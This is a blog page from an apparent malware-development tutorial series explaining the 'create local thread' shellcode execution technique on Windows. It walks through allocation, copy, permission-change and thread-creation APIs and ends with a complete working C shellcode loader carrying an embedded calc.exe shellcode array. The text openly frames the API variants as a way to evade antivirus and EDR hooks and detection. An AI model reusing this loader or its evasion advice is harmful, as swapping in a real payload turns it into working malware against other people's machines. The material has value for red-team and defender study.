W4LK3R
GitHubLinkedInEmail
  • Home
    • Who am I ?
  • Research
    • Double Take Zero Day (CVE-2023–40459)
  • Red Team Diaries
    • #1 Domain Admin in 2 Hours
    • #2 Low Hanging Credentials
  • Malware Development
    • Basics
    • Dynamic Link Library
    • Code Execution
      • Create Local Thread
      • DLL Execution ( Disk )
      • Function Pointer (No API)
      • Handle2Self
      • Thread2Fiber
      • Callback Functions
      • Local Thread Hijacking / Context Injection
      • Local Mapping Injection
      • Local Module Stomping / DLL Hollowing
      • Local Function Stomping
Powered by GitBook
On this page
  • Intro
  • 1. Memory Allocation
  • VirtualAlloc
  • GlobalAlloc
  • LocalAlloc
  • HeapAlloc
  • 2. Copy Shellcode to Memory
  • memcpy (CRT)
  • RtlMoveMemory (Win API)
  • 3. Change Memory Permissions
  • VirtualProtect
  • 4. Creating a New Thread
  • CreateThread
  • Code Samples

Was this helpful?

  1. Malware Development
  2. Code Execution

Create Local Thread

Code execution using new local thread

Intro

Probably the oldest code execution technique out there and pretty much straightforward. in this technique, the shellcode is stored inside the loader itself. we will combine this technique with some other evasion tricks in future posts.

this technique can be implemented with multiple APIs, for the sake of simplicity i will combine all these different implementations into a single C file in one VS project.

Why do we need various APIs to write the same code and do the same thing?

Because different security products tend to hook different API functions, knowing different ways to skin the cat will come in handy when facing different security solutions.

Execution Flow:

  1. Allocate memory (heap or stack) for shellcode storage (read/write permissions)

  2. Copy the shellcode into allocated memory

  3. Change memory permission to RX (read/execute)

  4. Create a local thread and pass the shellcode memory address as a parameter

We can do this in 3 steps by setting the initial memory permissions to RWX (read/write/execute) so that we don't have to flip the permissions later, but since RWX memory permission is not very common in benign applications, AV/EDR products will quickly flag our loader.


1. Memory Allocation

Windows offers a few APIs for memory allocation in both heap and stack. in classic shellcode execution, we can either use both Win32 API and CRT functions or rely completely in Win32 API.

VirtualAlloc

This is the first and most used API function for memory allocation, it is also the most hooked API by EDRs :)

VirtualAlloc takes the following parameters:

LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,  // starting address for memory allocation (set to 0, we don't care about this for now)
  [in]           SIZE_T dwSize,     // size of memory to allocate (set to size of shellcode)
  [in]           DWORD  flAllocationType, // type of allocation (usually set to MEM_COMMIT)
  [in]           DWORD  flProtect  // memory permissions (better set to PAGE_READWRITE or 0x04 and changed later)
);

To see other memory permissions offered by VirtualAlloc, check out the MSDN documentation:

Example:

void* exec_mem = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_READWRITE);

GlobalAlloc

GlobalAlloc is an older API for memory allocation, often used in Windows 16-bit applications. It allocates memory in the global heap.

GlobalAlloc takes the following parameters:

DECLSPEC_ALLOCATOR HGLOBAL GlobalAlloc(
  [in] UINT   uFlags,    // memory allocation attributes (default is GMEM_MOVEABLE, returns a pointer)
  [in] SIZE_T dwBytes    // number of bytes to allocate (set to size of shellcode)
);

Example:

HGLOBAL hGlobal = GlobalAlloc(GMEM_MOVEABLE | GMEM_ZEROINIT, sizeof(shellcode));
void* exec_mem = GlobalLock(hGlobal);

LocalAlloc

LocalAlloc is similar to GlobalAlloc but it allocates memory from the local heap. This function was often used in older Windows programs.

LocalAlloc takes the following parameters:

DECLSPEC_ALLOCATOR HLOCAL LocalAlloc(
  [in] UINT   uFlags,    // allocation attribute (set to LMEM_ZEROINIT for initializes memory contents to zero.)
  [in] SIZE_T uBytes     // number of bytes to allocate (set to size of shellcode)
);

Example:

HLOCAL hLocal = LocalAlloc(LMEM_ZEROINIT, sizeof(shellcode));
void* exec_mem = (void*)hLocal;

HeapAlloc

This API allocates memory from a heap (local or global). It can be useful for scenarios where you want to use a managed memory space or in scenarios where the shellcode is too large to store in stack. its also suitable for stagers that want to retrieve the shellcode from a remote location, for example a server over the Internet.

HeapAlloc takes the following parameters:

DECLSPEC_ALLOCATOR LPVOID HeapAlloc(
  [in] HANDLE hHeap,      // handle to local or global process heap : HANDLE hHeap = GetProcessHeap();
  [in] DWORD  dwFlags,    // allocation option (set to HEAP_ZERO_MEMORY to zero out)
  [in] SIZE_T dwBytes    // number of bytes to allocate (set to size of shellcode)
);

Example:

void* exec_mem = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(shellcode));

2. Copy Shellcode to Memory

We can use one of following APIs to copy the shellcode into allocated memory:

memcpy (CRT)

Example:

memcpy(exec_mem, shellcode, sizeof(shellcode));

RtlMoveMemory (Win API)

Example:

RtlMoveMemory(exec_mem, shellcode, sizeof(shellcode));

3. Change Memory Permissions

After copying the shellcode, we have to change the memory permissions from RW to RX and make that region executable .

VirtualProtect

It changes the memory permission of a region in current process context.

VirtualProtect takes the following parameters:

BOOL VirtualProtect(
  [in]  LPVOID lpAddress,        // start address of target memory region (set to the pointer to allocated memory )
  [in]  SIZE_T dwSize,           // size of target memory region (size of shellcode)
  [in]  DWORD  flNewProtect,    // new memory permissions (set to AGE_EXECUTE_READ)
  [out] PDWORD lpflOldProtect  // pointer to old memory protection (a DWORD for holding the old permissions)
);

Example:

DWORD oldProtect;
VirtualProtect(exec_mem, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);

4. Creating a New Thread

Last Step is to create a new thread and pass the executable memory region address to it.

CreateThread

Creates a thread in local process.

CreateThread takes the following parameters:

HANDLE CreateThread(
  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,    // handle inheritence by child (set to 0 for now)
  [in]            SIZE_T                  dwStackSize,           // initial stack size (set to 0 by deafult)
  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,        // pointer to function to be executed (we are using the memory address pointer here)
  [in, optional]  __drv_aliasesMem LPVOID lpParameter,           // pointer to function parameters to pass (we dont have any so set to 0)
  [in]            DWORD                   dwCreationFlags,       // thread creation flag (set to 0 so that it the thread runs immediately after creation.)
  [out, optional] LPDWORD                 lpThreadId             // pointer that holds a handle to the thread
);

Example:

HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);

The final code for classic vanilla shellcode loader looks like this:

CreateLocalTHread.c
#include <Windows.h>
#include <stdio.h>

// benign calc.exe shellcode array (not signatured by AV/EDR)
unsigned char shellcode[] = {
        0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48,
        0x29, 0xD4, 0x65, 0x48, 0x8B,0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
        0x8B, 0x76, 0x10, 0x48, 0xAD,0x48, 0x8B, 0x30, 0x48, 0x8B,0x7E, 0x30,
        0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74,0x1F, 0x20, 0x48,
        0x01, 0xFE,0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52,
        0x02,0xAD, 0x81, 0x3C, 0x07, 0x57,0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B,
        0x74, 0x1F, 0x1C, 0x48, 0x01,0xFE, 0x8B, 0x34, 0xAE, 0x48,0x01, 0xF7,
        0x99, 0xFF, 0xD7 };

int main() {

    // Get handle to the default process heap
    HANDLE hHeap = GetProcessHeap();

    // VirtualAlloc memory allocation
    void* exec_mem = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_READWRITE);

    // LocalAlloc memory allocation
    //HLOCAL hLocal = LocalAlloc(LMEM_ZEROINIT, sizeof(shellcode));
    //void* exec_mem = (void*)hLocal;

    // HeapAlloc memory allocation
    //void* exec_mem = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(shellcode));

    // Allocate global memory with execute permissions
    //HGLOBAL hGlobal = GlobalAlloc(GMEM_MOVEABLE | GMEM_ZEROINIT, sizeof(shellcode));
    //void* exec_mem = GlobalLock(hGlobal);

    // copy shellcode using CRT
    memcpy(exec_mem, shellcode, sizeof(shellcode));

    // copy shellcode using Win API
    //RtlMoveMemory(exec_mem, shellcode, sizeof(shellcode));

    // flip memory permissions to RX
    DWORD oldProtect;
    VirtualProtect(exec_mem, sizeof(shellcode), PAGE_EXECUTE_READ, &oldProtect);

    // Execute the shellcode in a new local thread
    HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
    // wait for thread to finish (infinite wait)
    WaitForSingleObject(th, -1);

    return 0;
}

Code Samples

Code snippets are available on GitHub:

PreviousCode ExecutionNextDLL Execution ( Disk )

Last updated 6 months ago

Was this helpful?

GitHub - 7h3w4lk3r/malware-development-samples: Samples for malware development series from my blogGitHub
VirtualAlloc function (memoryapi.h) - Win32 appsdocsmsft
Logo
VirtualProtect function (memoryapi.h) - Win32 appsMicrosoftLearn
GlobalAlloc function (winbase.h) - Win32 appsMicrosoftLearn
Logo
Logo
LocalAlloc function (winbase.h) - Win32 appsMicrosoftLearn
Logo
HeapAlloc function (heapapi.h) - Win32 appsMicrosoftLearn
Logo
Logo
Memory Protection Constants (WinNT.h) - Win32 appsMicrosoftLearn
Logo